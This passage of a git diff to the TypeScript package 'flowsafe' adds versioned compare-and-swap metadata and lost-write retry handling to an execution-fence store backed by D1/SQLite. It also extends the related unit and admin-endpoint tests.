'malformed', + 'changed', + 'competing-bind', + ] as const) { + const { fence, sqlite, db } = fenceFixture(); + const admitted = await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + }); + const raced = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (!sql.startsWith('UPDATE')) return execute(); + if (outcome === 'missing') + sqlite.exec(`DELETE FROM ${EXECUTION_FENCE_TABLE}`); + else if (outcome === 'malformed') + sqlite.exec( + `UPDATE ${EXECUTION_FENCE_TABLE} SET last_transition_request = 'broken', proof_key = 'different-key'`, + ); + else if (outcome === 'changed') + await fence.transition({ + expected: 'proof-only', + next: 'open', + expectedMutationEpoch: 1, + expectedRevision: 1, + }); + else await fence.recordProofRun('key', 'other-run', admitted); + const result = await execute(); + if (outcome === 'competing-bind') { + sqlite.exec( + `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_run_id = NULL`, + ); + await fence.recordProofRun('key', 'run', admitted); + } + return result; + }), + ); + if (outcome === 'missing' || outcome === 'malformed') + await expect( + raced.recordProofRun('key', 'run', admitted), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + else + expect(await raced.recordProofRun('key', 'run', admitted)).toBe(false); + } + }); + + it('preserves write uncertainty when readback cannot prove the exact command', async () => { + for (const outcome of [ + 'before', + 'readback-fails', + 'intervening', + ] as const) { + const { db, fence } = fenceFixture(); + await fence.seed('open'); + const failure = new Error('lost write response'); + let wrote = false; + const uncertain = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (sql.startsWith('UPDATE')) { + wrote = true; + if (outcome !== 'before') await execute(); + if (outcome === 'intervening') + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: 1, + expectedRevision: 1, + }); + throw failure; + } + if (wrote && outcome === 'readback-fails') + throw new Error('readback failed'); + return execute(); + }), + ); + const error = await uncertain + .transition(activation) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect((error as Error).cause).toBe(failure); + } + for (const versioned of [false, true]) { + const { fence, db, sqlite } = fenceFixture(); + const admitted = await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + advanceMutationEpoch: versioned, + }); + const lost = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (sql.startsWith('UPDATE')) throw new Error('lost proof response'); + return result; + }), + ); + expect( + await lost.recordProofRun( + 'key', + 'run', + versioned ? admitted : undefined, + ), + ).toBe(true); + expect(rawFence(sqlite).proof_run_id).toBe('run'); + expect(rawFence(sqlite).transition_revision).toBe(1); + } + }); + + it('runs all persistence operations on a database without batch', async () => { + const { db } = fenceFixture(); + const fence = new ExecutionFenceStore( + interceptedDatabase(db, async (_sql, execute) => { + const result = await execute(); + if (result && typeof result === 'object' && 'results' in result) + return { results: result.results }; + return result; + }), + ); + expect('batch' in db).toBe(false); + await fence.seed('proof-only'); + const admitted = await fence.transition({ + expected: 'proof-only', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + }); + expect(await fence.recordProofRun('key', 'run', admitted)).toBe(true); + await expect(fence.read()).resolves.toEqual({ + ...admitted, + proofRunId: 'run', + }); + }); +}); + describe('execution fence admission predicates', () => { it('admits a run START only in open, or in proof-only with the exact key', () => { expect(admitsRunStart(reading('open'))).toBe(true); @@ -557,6 +1785,7 @@ describe('init() fence wiring', () => { await executionFence?.seed('draining'); await expect(runtime.executionFence?.read()).resolves.toEqual({ state: 'draining', + ...optionalMetadata, }); expect( schemaSnapshot(sqlite).some( @@ -715,6 +1944,8 @@ describe('RunnerRuntime enforcement', () => { state: 'proof-only', proofKey: 'proof-key-1', proofRunId: 'proof-run', + ...optionalMetadata, + transitionRevision: 1, }); // #and — a SECOND start under the same key is refused: the proof is one @@ -772,7 +2003,11 @@ describe('RunnerRuntime enforcement', () => { // #then — in-flight compute is never preempted; only the NEXT start is // refused. The drain sequence is drain, then prove empty, then lock. expect(summary.status).toBe('success'); - await expect(fence.read()).resolves.toEqual({ state: 'draining' }); + await expect(fence.read()).resolves.toEqual({ + state: 'draining', + ...optionalMetadata, + transitionRevision: 1, + }); await expect( runtime.start('racing', { runId: 'run-racing-2', inputData: {} }), ).rejects.toBeInstanceOf(ExecutionFencedError); diff --git a/packages/flowsafe/src/do-runner/execution-fence.ts b/packages/flowsafe/src/do-runner/execution-fence.ts index d69d36ff..cd87633f 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.ts @@ -33,35 +33,27 @@ // it is logged, swallowed, and left for the next wake, because a thrown alarm // is retried by workerd and would answer a storage incident with a storm. // -// ABSENT ROW (and absent TABLE) READ AS `open`. That is the 0.19-to-0.20 +// An absent legacy row (or absent TABLE) reads as `open`. That is the 0.19-to-0.20 // upgrade rule and nothing more: a database seeded before this table existed // must keep serving. Provisioning writes an explicit row from 0.20 on, so a // deployment that means to start locked says so rather than relying on a // default — `seed()` therefore takes the state as a REQUIRED argument. import { - EXECUTION_FENCE_DDL, + type DeploymentIdentityProtocolExecutor, + type DeploymentIdentityProtocolRow, + decodeExecutionFenceMutationMetadata, EXECUTION_FENCE_ROW_ID, EXECUTION_FENCE_STATES, EXECUTION_FENCE_TABLE, + type ExecutionFenceSchemaStage, + initializeExecutionFenceProtocol, + readExecutionFenceSchemaProtocol, } from '#deployment-identity-protocol'; import { missingTableReadsEmpty } from './cause-chain.js'; import { DoStatusError } from './do-status-error.js'; import { isPathSafeId } from './path-safe-id.js'; -/** - * Rows affected by a write, read from D1's `{ meta: { changes } }` envelope — - * the same accessor d1-storage exports as `d1Changes`, restated here so this - * module imports only leaf modules. Every surface that consults the fence - * imports it, including ones that must not drag the D1 storage adapter (and - * @mastra/cloudflare-d1 with it) into their bundle. - */ -function changesOf(result: unknown): number { - const changes = (result as { meta?: { changes?: number } } | undefined)?.meta - ?.changes; - return typeof changes === 'number' ? changes : 0; -} - /** * The state vocabulary, the table, that table's fixed row key, and the DDL * built from all three are IMPORTED, never declared here — and they are not @@ -122,12 +114,26 @@ export interface ExecutionFenceReading { readonly proofKey?: string; /** The run the proof-only state has already admitted, once one started. */ readonly proofRunId?: string; + readonly mutationEpoch?: number; + readonly requireMutationEpoch?: boolean; + readonly transitionRevision?: number; +} + +/** An authoritative store reading, including durable administrative versioning. */ +export interface ExecutionFenceVersionedReading extends ExecutionFenceReading { + readonly mutationEpoch: number; + readonly requireMutationEpoch: boolean; + readonly transitionRevision: number; } /** The reading every unfenced surface uses — see `ExecutionFenceStore` absence. */ -export const OPEN_EXECUTION_FENCE: ExecutionFenceReading = Object.freeze({ - state: 'open', -}); +export const OPEN_EXECUTION_FENCE: ExecutionFenceVersionedReading = + Object.freeze({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + }); /** * Read the fence a surface was wired with, resolving the typed opt-out. @@ -147,7 +153,7 @@ export const OPEN_EXECUTION_FENCE: ExecutionFenceReading = Object.freeze({ */ export async function readExecutionFence( fence: ExecutionFenceWiring | undefined, -): Promise { +): Promise { if (fence === undefined || fence === 'none') return OPEN_EXECUTION_FENCE; return fence.read(); } @@ -239,14 +245,38 @@ export class FenceTransitionConflictError extends DoStatusError { readonly reason: { readonly code: 'FENCE_CAS_CONFLICT'; readonly state: ExecutionFenceState; + readonly mutationEpoch?: number; + readonly requireMutationEpoch?: boolean; + readonly transitionRevision?: number; + readonly proofKey?: string; + readonly proofRunId?: string; + readonly conflict?: + | 'expectation-mismatch' + | 'versioned-expectation-required'; }; - constructor(expected: ExecutionFenceState, current: ExecutionFenceState) { + constructor( + expected: ExecutionFenceState, + current: ExecutionFenceState, + details?: { + reading: ExecutionFenceVersionedReading; + conflict: 'expectation-mismatch' | 'versioned-expectation-required'; + }, + ) { super( - `execution fence transition expected state '${expected}' but found '${current}'`, + details === undefined + ? `execution fence transition expected state '${expected}' but found '${current}'` + : 'execution fence transition conflicts with the current reading', ); this.name = 'FenceTransitionConflictError'; - this.reason = { code: 'FENCE_CAS_CONFLICT', state: current }; + this.reason = + details === undefined + ? { code: 'FENCE_CAS_CONFLICT', state: current } + : { + code: 'FENCE_CAS_CONFLICT', + ...executionFenceReadingPayload(details.reading), + conflict: details.conflict, + }; } } @@ -303,17 +333,30 @@ export function executionFencedResponse( * null would invite a caller to read "no proof run yet" out of a state that has * no proof at all. */ -export function executionFenceReadingPayload(reading: ExecutionFenceReading): { - state: ExecutionFenceState; - proofKey?: string; - proofRunId?: string; -} { +export function executionFenceReadingPayload( + reading: ExecutionFenceVersionedReading, +): ExecutionFenceVersionedReading; +export function executionFenceReadingPayload( + reading: ExecutionFenceReading, +): ExecutionFenceReading; +export function executionFenceReadingPayload( + reading: ExecutionFenceReading, +): ExecutionFenceReading { return { state: reading.state, ...(reading.proofKey === undefined ? {} : { proofKey: reading.proofKey }), ...(reading.proofRunId === undefined ? {} : { proofRunId: reading.proofRunId }), + ...(reading.mutationEpoch === undefined + ? {} + : { mutationEpoch: reading.mutationEpoch }), + ...(reading.requireMutationEpoch === undefined + ? {} + : { requireMutationEpoch: reading.requireMutationEpoch }), + ...(reading.transitionRevision === undefined + ? {} + : { transitionRevision: reading.transitionRevision }), }; } @@ -499,36 +542,123 @@ export function admitsDrainableExecution( return reading.state === 'open' || reading.state === 'draining'; } -interface ExecutionFenceRow { - state?: unknown; - proof_key?: unknown; - proof_run_id?: unknown; +type FenceTransitionReceipt = readonly [ + 1, + ExecutionFenceState, + ExecutionFenceState, + string | null, + number, + number, + boolean, +]; + +interface StoredExecutionFence { + reading: ExecutionFenceVersionedReading; + receipt: string | null; + schemaStage: ExecutionFenceSchemaStage; } -function readingFromRow(row: ExecutionFenceRow): ExecutionFenceReading { +function isFenceCounter(value: unknown): value is number { + return typeof value === 'number' && Number.isSafeInteger(value) && value >= 0; +} + +function decodeTransitionReceipt(text: string): FenceTransitionReceipt { + const value: unknown = JSON.parse(text); + if ( + text.length > 512 || + !Array.isArray(value) || + value.length !== 7 || + value[0] !== 1 || + !isExecutionFenceState(value[1]) || + !isExecutionFenceState(value[2]) || + (value[2] === 'proof-only' ? !isPathSafeId(value[3]) : value[3] !== null) || + !isFenceCounter(value[4]) || + !isFenceCounter(value[5]) || + value[5] === Number.MAX_SAFE_INTEGER || + typeof value[6] !== 'boolean' || + (value[6] && value[4] === Number.MAX_SAFE_INTEGER) || + JSON.stringify(value) !== text + ) { + throw new Error('execution fence transition receipt is malformed'); + } + return [1, value[1], value[2], value[3], value[4], value[5], value[6]]; +} + +function readingFromRow( + row: DeploymentIdentityProtocolRow, +): StoredExecutionFence { + const metadata = decodeExecutionFenceMutationMetadata(row); const { state } = row; - if (!isExecutionFenceState(state)) { - // Fail CLOSED on a state name this build does not know: a hand-edited row, - // or a row written by a NEWER flowsafe that added a state. Returning - // `open` for either would answer "I do not understand this fence" with - // "there is no fence", which is the one answer that must never be wrong. - throw new ExecutionFenceUnreadableError( - `execution fence row carries an unrecognized state '${String(state)}'`, - ); + if (row.id !== EXECUTION_FENCE_ROW_ID || !isExecutionFenceState(state)) { + throw new Error('execution fence row is not a recognized singleton'); } const proofKey = row.proof_key; const proofRunId = row.proof_run_id; + if (metadata.lastTransitionRequest !== null) { + const [, , next, key, epoch, revision, advance] = decodeTransitionReceipt( + metadata.lastTransitionRequest, + ); + if ( + state !== next || + metadata.mutationEpoch !== epoch + Number(advance) || + metadata.transitionRevision !== revision + 1 || + (state === 'proof-only' + ? proofKey !== key || (proofRunId !== null && !isPathSafeId(proofRunId)) + : proofKey !== null || proofRunId !== null) + ) { + throw new Error( + 'execution fence row disagrees with its transition receipt', + ); + } + } return { - state, - ...(typeof proofKey === 'string' && proofKey.length > 0 - ? { proofKey } - : {}), - ...(typeof proofRunId === 'string' && proofRunId.length > 0 - ? { proofRunId } - : {}), + reading: { + state, + mutationEpoch: metadata.mutationEpoch, + requireMutationEpoch: metadata.requireMutationEpoch, + transitionRevision: metadata.transitionRevision, + ...(typeof proofKey === 'string' && proofKey.length > 0 + ? { proofKey } + : {}), + ...(typeof proofRunId === 'string' && proofRunId.length > 0 + ? { proofRunId } + : {}), + }, + receipt: metadata.lastTransitionRequest, + schemaStage: metadata.schemaStage, }; } +function fenceResultRows(result: unknown): DeploymentIdentityProtocolRow[] { + if ( + result === null || + typeof result !== 'object' || + ('success' in result && result.success !== true) || + !('results' in result) || + !Array.isArray(result.results) + ) { + throw new Error('execution fence statement returned an invalid result'); + } + for (const row of result.results) { + if (row === null || typeof row !== 'object' || Array.isArray(row)) { + throw new Error('execution fence statement returned an invalid row'); + } + } + return result.results; +} + +function returningFence(result: unknown): StoredExecutionFence | undefined { + const rows = fenceResultRows(result); + if (rows.length > 1) + throw new Error('execution fence UPDATE returned multiple rows'); + const row = rows[0]; + if (row === undefined) return undefined; + const stored = readingFromRow(row); + if (stored.schemaStage !== 4) + throw new Error('execution fence UPDATE returned a legacy row'); + return stored; +} + /** * SQLite/D1's "no such table", for THIS store's table: a table that was never * created is not a fault here — it is a pre-0.20 database, which reads as @@ -567,6 +697,9 @@ export interface ExecutionFenceTransition { * field exists to police arrived pre-blessed at the type level. */ proofKey?: unknown; + expectedMutationEpoch?: unknown; + expectedRevision?: unknown; + advanceMutationEpoch?: unknown; } /** @@ -594,32 +727,11 @@ export class ExecutionFenceStore { * question, and would turn a read-only replica or a revoked-write incident * into an outage instead of a degrade. * - * A missing table and a missing row both read as `open` — the 0.19 upgrade - * rule. Anything else that fails becomes ExecutionFenceUnreadableError, so - * no caller can mistake a storage fault for an open deployment. + * A missing table or legacy row reads as `open`. A missing modern row is + * unreadable and is never silently recreated. */ - async read(): Promise { - let rows: ExecutionFenceRow[]; - try { - rows = ( - await this.#db - .prepare( - `SELECT state, proof_key, proof_run_id FROM ${EXECUTION_FENCE_TABLE} - WHERE id = ?`, - ) - .bind(EXECUTION_FENCE_ROW_ID) - .all() - ).results; - } catch (error) { - if (isMissingFenceTable(error)) return OPEN_EXECUTION_FENCE; - throw new ExecutionFenceUnreadableError( - 'execution fence state is not readable', - { cause: error }, - ); - } - const row = rows[0]; - if (row === undefined) return OPEN_EXECUTION_FENCE; - return readingFromRow(row); + async read(): Promise { + return (await this.#readStored())?.reading ?? OPEN_EXECUTION_FENCE; } /** @@ -638,15 +750,8 @@ export class ExecutionFenceStore { */ async seed(state: ExecutionFenceState): Promise { const safeState = assertExecutionFenceState(state, 'seed state'); - await this.#createTable(); - await this.#db - .prepare( - `INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE} - (id, state, proof_key, proof_run_id, updated_at) - VALUES (?, ?, NULL, NULL, ?)`, - ) - .bind(EXECUTION_FENCE_ROW_ID, safeState, this.#now()) - .run(); + await this.#initialize(safeState); + await this.#readStored(); } /** @@ -662,51 +767,110 @@ export class ExecutionFenceStore { */ async transition( input: ExecutionFenceTransition, - ): Promise { + ): Promise { const expected = assertExecutionFenceState( input.expected, 'expected state', ); const next = assertExecutionFenceState(input.next, 'next state'); const proofKey = this.#proofKeyFor(next, input.proofKey); - await this.#createTable(); - // Materialize the implicit-open row of a pre-0.20 database. INSERT OR - // IGNORE, so a seeded database is untouched and the CAS below is still the - // only thing that decides the outcome. - await this.#db - .prepare( - `INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE} - (id, state, proof_key, proof_run_id, updated_at) - VALUES (?, 'open', NULL, NULL, ?)`, - ) - .bind(EXECUTION_FENCE_ROW_ID, this.#now()) - .run(); - // proof_run_id is cleared unconditionally: ENTERING proof-only must not - // inherit a previous proof's run, and LEAVING it must not leave a stale - // admission behind for the next one to trip over. - const changed = changesOf( - await this.#db - .prepare( - `UPDATE ${EXECUTION_FENCE_TABLE} - SET state = ?, proof_key = ?, proof_run_id = NULL, updated_at = ? - WHERE id = ? AND state = ?`, - ) - .bind( + const { expectedMutationEpoch: epoch, expectedRevision: revision } = input; + const rawAdvance = input.advanceMutationEpoch; + const advance = rawAdvance ?? false; + const upgraded = epoch !== undefined || revision !== undefined; + if ( + (rawAdvance !== undefined && typeof rawAdvance !== 'boolean') || + (upgraded && (!isFenceCounter(epoch) || !isFenceCounter(revision))) || + (advance && !upgraded) || + revision === Number.MAX_SAFE_INTEGER || + (advance && epoch === Number.MAX_SAFE_INTEGER) + ) { + throw new InvalidExecutionFenceRequestError( + 'fence expectations must be paired safe counters and advanceMutationEpoch must be boolean', + ); + } + const receipt = upgraded + ? JSON.stringify([ + 1, + expected, next, proofKey ?? null, - this.#now(), - EXECUTION_FENCE_ROW_ID, - expected, - ) - .run(), - ); - if (changed === 0) { - throw new FenceTransitionConflictError( - expected, - (await this.read()).state, + epoch, + revision, + advance, + ]) + : null; + await this.#initialize('open'); + await this.#readStored(); + let result: unknown; + try { + const statement = upgraded + ? this.#db + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} + SET state = ?1, proof_key = ?2, proof_run_id = NULL, + mutation_epoch = mutation_epoch + ?3, + require_mutation_epoch = CASE WHEN ?3 = 1 THEN 1 ELSE require_mutation_epoch END, + transition_revision = transition_revision + 1, + last_transition_request = ?4, updated_at = ?5 + WHERE id = ?6 AND state = ?7 + AND mutation_epoch = ?8 AND transition_revision = ?9 + AND require_mutation_epoch IN (0, 1) + AND transition_revision < 9007199254740991 + AND (?3 = 0 OR mutation_epoch < 9007199254740991) + RETURNING *`, + ) + .bind( + next, + proofKey ?? null, + Number(advance), + receipt, + this.#now(), + EXECUTION_FENCE_ROW_ID, + expected, + epoch, + revision, + ) + : this.#db + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} + SET state = ?, proof_key = ?, proof_run_id = NULL, + transition_revision = transition_revision + 1, + last_transition_request = NULL, updated_at = ? + WHERE id = ? AND state = ? AND require_mutation_epoch = 0 + AND mutation_epoch = 0 AND transition_revision < 9007199254740991 + RETURNING *`, + ) + .bind( + next, + proofKey ?? null, + this.#now(), + EXECUTION_FENCE_ROW_ID, + expected, + ); + result = await statement.all(); + } catch (error) { + if (receipt !== null) { + const stored = await this.#readStored().catch(() => undefined); + if (stored?.receipt === receipt) return stored.reading; + } + throw new ExecutionFenceUnreadableError( + 'execution fence transition could not be recorded', + { cause: error }, ); } - return { state: next, ...(proofKey === undefined ? {} : { proofKey }) }; + const returned = this.#decodeReturned(result); + if (returned !== undefined) return returned.reading; + const stored = await this.#readStored(); + if (receipt !== null && stored?.receipt === receipt) return stored.reading; + const reading = stored?.reading ?? OPEN_EXECUTION_FENCE; + throw new FenceTransitionConflictError(expected, reading.state, { + reading, + conflict: + !upgraded && reading.requireMutationEpoch + ? 'versioned-expectation-required' + : 'expectation-mismatch', + }); } /** @@ -719,7 +883,16 @@ export class ExecutionFenceStore { * Re-writing the SAME runId is admitted so a retry of an interrupted start * converges instead of deadlocking on its own earlier write. */ - async recordProofRun(proofKey: string, runId: string): Promise { + async recordProofRun( + proofKey: string, + runId: string, + admitted?: Pick< + ExecutionFenceVersionedReading, + 'mutationEpoch' | 'transitionRevision' + >, + ): Promise { + const epoch = admitted?.mutationEpoch; + const revision = admitted?.transitionRevision; if (!isPathSafeId(proofKey)) { throw new InvalidExecutionFenceRequestError( 'proofKey must be a URL-path-safe identifier', @@ -730,29 +903,70 @@ export class ExecutionFenceStore { 'proof runId must be a URL-path-safe identifier', ); } - try { - return ( - changesOf( - await this.#db - .prepare( - `UPDATE ${EXECUTION_FENCE_TABLE} - SET proof_run_id = ?, updated_at = ? - WHERE id = ? AND state = 'proof-only' AND proof_key = ? - AND (proof_run_id IS NULL OR proof_run_id = ?)`, - ) - .bind(runId, this.#now(), EXECUTION_FENCE_ROW_ID, proofKey, runId) - .run(), - ) > 0 + if ( + admitted !== undefined && + (admitted === null || + typeof admitted !== 'object' || + !isFenceCounter(epoch) || + !isFenceCounter(revision)) + ) { + throw new InvalidExecutionFenceRequestError( + 'proof admission must contain safe epoch and revision counters', ); + } + const observed = await this.#readStored(); + if (observed === undefined) return false; + if (observed.schemaStage < 4) { + await this.#initialize(observed.reading.state); + await this.#readStored(); + } + let result: unknown; + try { + const statement = this.#db + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} + SET updated_at = CASE WHEN proof_run_id IS NULL THEN ? ELSE updated_at END, + proof_run_id = ? + WHERE id = ? AND state = 'proof-only' AND proof_key = ? + AND (proof_run_id IS NULL OR proof_run_id = ?) + AND ${ + admitted === undefined + ? 'require_mutation_epoch = 0 AND mutation_epoch = 0' + : 'mutation_epoch = ? AND transition_revision = ?' +} + RETURNING *`, + ) + .bind( + this.#now(), + runId, + EXECUTION_FENCE_ROW_ID, + proofKey, + runId, + ...(admitted === undefined ? [] : [epoch, revision]), + ); + result = await statement.all(); } catch (error) { - // A database with no fence table cannot be in proof-only, so there is - // nothing to record and nothing to conclude beyond "not admitted". - if (isMissingFenceTable(error)) return false; + const stored = await this.#readStored().catch(() => undefined); + const reading = stored?.reading; + if ( + reading?.state === 'proof-only' && + reading.proofKey === proofKey && + reading.proofRunId === runId && + (admitted === undefined + ? !reading.requireMutationEpoch + : reading.mutationEpoch === epoch && + reading.transitionRevision === revision) + ) { + return true; + } throw new ExecutionFenceUnreadableError( 'execution fence proof run could not be recorded', { cause: error }, ); } + if (this.#decodeReturned(result) !== undefined) return true; + await this.#readStored(); + return false; } #proofKeyFor( @@ -777,7 +991,87 @@ export class ExecutionFenceStore { return undefined; } - async #createTable(): Promise { - await this.#db.prepare(EXECUTION_FENCE_DDL).run(); + readonly #execute: DeploymentIdentityProtocolExecutor = async (statement) => { + const prepared = this.#db + .prepare(statement.sql) + .bind(...statement.bindings); + if (statement.mode === 'write') { + await prepared.run(); + return []; + } + return fenceResultRows(await prepared.all()); + }; + + async #initialize(state: ExecutionFenceState): Promise { + try { + await initializeExecutionFenceProtocol(this.#execute, { + state, + seededAt: this.#now(), + }); + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'execution fence could not be initialized', + { cause: error }, + ); + } + } + + #decodeReturned(result: unknown): StoredExecutionFence | undefined { + try { + return returningFence(result); + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'execution fence UPDATE result is not readable', + { cause: error }, + ); + } + } + + async #readStored(): Promise { + try { + let minimumStage = 0; + for (let attempt = 0; attempt < 2; attempt += 1) { + let rows: readonly DeploymentIdentityProtocolRow[]; + try { + rows = await this.#execute({ + mode: 'read', + sql: `SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`, + bindings: [], + }); + } catch (error) { + if (attempt === 0 && isMissingFenceTable(error)) return undefined; + throw error; + } + const stage = await readExecutionFenceSchemaProtocol(this.#execute); + if ( + !Array.isArray(rows) || + stage === undefined || + stage < minimumStage + ) { + throw new Error( + 'execution fence row observation has no compatible schema', + ); + } + if (rows.length === 0 && attempt === 0) { + if (stage === 0) return undefined; + minimumStage = stage; + continue; + } + if (rows.length !== 1) + throw new Error('execution fence row is not an exact singleton'); + const stored = readingFromRow(rows[0]); + if (stored.schemaStage > stage) + throw new Error( + 'execution fence schema observation precedes row metadata', + ); + return stored; + } + throw new Error('execution fence row is missing'); + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'execution fence state is not readable', + { cause: error }, + ); + } } } diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index 342ba90d..54ddca4e 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -106,6 +106,7 @@ export type { ExecutionFenceStatement, ExecutionFenceStoreOptions, ExecutionFenceTransition, + ExecutionFenceVersionedReading, ExecutionFenceWiring, // One arm of ExecutionFenceRefusal, published because that union is: a // consumer that catches a fence refusal on the far side of a Durable Object diff --git a/packages/flowsafe/src/do-runner/start-idempotency.test.ts b/packages/flowsafe/src/do-runner/start-idempotency.test.ts index 5bb54005..0cb41c6a 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.test.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.test.ts @@ -1072,6 +1072,9 @@ describe('proof-only composition', () => { state: 'proof-only', proofKey: 'proof-key-1', proofRunId: 'proof-run', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 1, }); }); @@ -1105,6 +1108,9 @@ describe('proof-only composition', () => { await expect(fence.read()).resolves.toEqual({ state: 'proof-only', proofKey: 'proof-key-1', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 1, }); }); diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index 8e1a82b9..8395188d 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -1125,21 +1125,35 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', - anchor: 'function readingFromRow', + anchor: 'if (stored.schemaStage > stage)', beforeExecutionEffect: 'Fence-row validation fails closed before any caller can admit execution.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', - anchor: 'async read(): Promise', + anchor: 'async #initialize(', beforeExecutionEffect: - 'A failed fence read becomes unreadable before an admission predicate can run.', + 'Initialization validates administrative metadata without admitting execution.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', - anchor: 'async recordProofRun(', + anchor: '#decodeReturned(result:', + beforeExecutionEffect: + 'A malformed metadata-write result refuses before a caller can admit execution.', + }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (receipt !== null)', + beforeExecutionEffect: + 'An uncertain administrative CAS does not execute a run or schedule.', + }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: "reading?.state === 'proof-only'", beforeExecutionEffect: 'A failed proof-binding metadata write becomes unreadable before the runtime starts the run.', }, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 03830386..dac73604 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -1980,7 +1980,7 @@ describe('createFlowsafeWorker execution-fence administration', () => { }); } - it('reads and moves the fence for an authenticated control plane', async () => { + it('returns versioned readings for both admin methods', async () => { // #given const worker = makeWorker(); const { env, ctx } = makeEnv(); @@ -1993,7 +1993,12 @@ describe('createFlowsafeWorker execution-fence administration', () => { ctx, ); expect(initial.status).toBe(200); - expect(await initial.json()).toEqual({ state: 'open' }); + expect(await initial.json()).toEqual({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + }); // #when — the control plane drains, then locks. const drained = await worker.fetch( @@ -2005,7 +2010,12 @@ describe('createFlowsafeWorker execution-fence administration', () => { ctx, ); expect(drained.status).toBe(200); - expect(await drained.json()).toEqual({ state: 'draining' }); + expect(await drained.json()).toEqual({ + state: 'draining', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 1, + }); // #then — a STALE expectation is a 409 carrying the current state, so the // loser of a control-plane race can re-plan without a second round trip. @@ -2052,6 +2062,154 @@ describe('createFlowsafeWorker execution-fence administration', () => { expect(await observed.json()).toEqual({ state: 'proof-only', proofKey: 'proof-1', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 3, + }); + }); + + it('requires versioned expectations after activation', async () => { + const worker = makeWorker(); + const { env, ctx } = makeEnv(); + env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET; + const command = { + expected: 'open', + next: 'draining', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }; + const active = { + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: 1, + }; + const activated = await worker.fetch( + fenceRequest({ method: 'POST', body: command }), + env, + ctx, + ); + expect(activated.status).toBe(200); + expect(await activated.json()).toEqual(active); + for (const [body, conflict] of [ + [ + { expected: 'draining', next: 'open' }, + 'versioned-expectation-required', + ], + [{ ...command, next: 'open' }, 'expectation-mismatch'], + ]) { + const response = await worker.fetch( + fenceRequest({ method: 'POST', body }), + env, + ctx, + ); + expect(response.status).toBe(409); + expect(await response.json()).toEqual({ + error: 'execution fence transition conflicts with the current reading', + reason: { code: 'FENCE_CAS_CONFLICT', ...active, conflict }, + }); + } + }); + + it('keeps exact CAS response-loss retry identity through admin JSON', async () => { + const worker = makeWorker(); + const { env, ctx } = makeEnv(); + env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET; + const db = env.DB; + const prepare = db.prepare.bind(db); + vi.spyOn(db, 'prepare').mockImplementation((sql) => { + const original = prepare(sql); + if (!sql.startsWith('UPDATE flowsafe_execution_fence')) return original; + const bind = original.bind.bind(original); + original.bind = (...values) => { + const bound = bind(...values); + const all = bound.all.bind(bound); + bound.all = async () => { + await all(); + throw new Error('UPDATE response lost'); + }; + return bound; + }; + return original; + }); + const command = { + expected: 'open', + next: 'proof-only', + proofKey: 'proof-a', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }; + for (let attempt = 0; attempt < 2; attempt += 1) { + const response = await worker.fetch( + fenceRequest({ method: 'POST', body: command }), + env, + ctx, + ); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ + state: 'proof-only', + proofKey: 'proof-a', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: 1, + }); + } + const changed = await worker.fetch( + fenceRequest({ + method: 'POST', + body: { ...command, proofKey: 'proof-b' }, + }), + env, + ctx, + ); + expect(changed.status).toBe(503); + expect(await changed.json()).toEqual({ + error: 'execution fence transition could not be recorded', + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + }); + 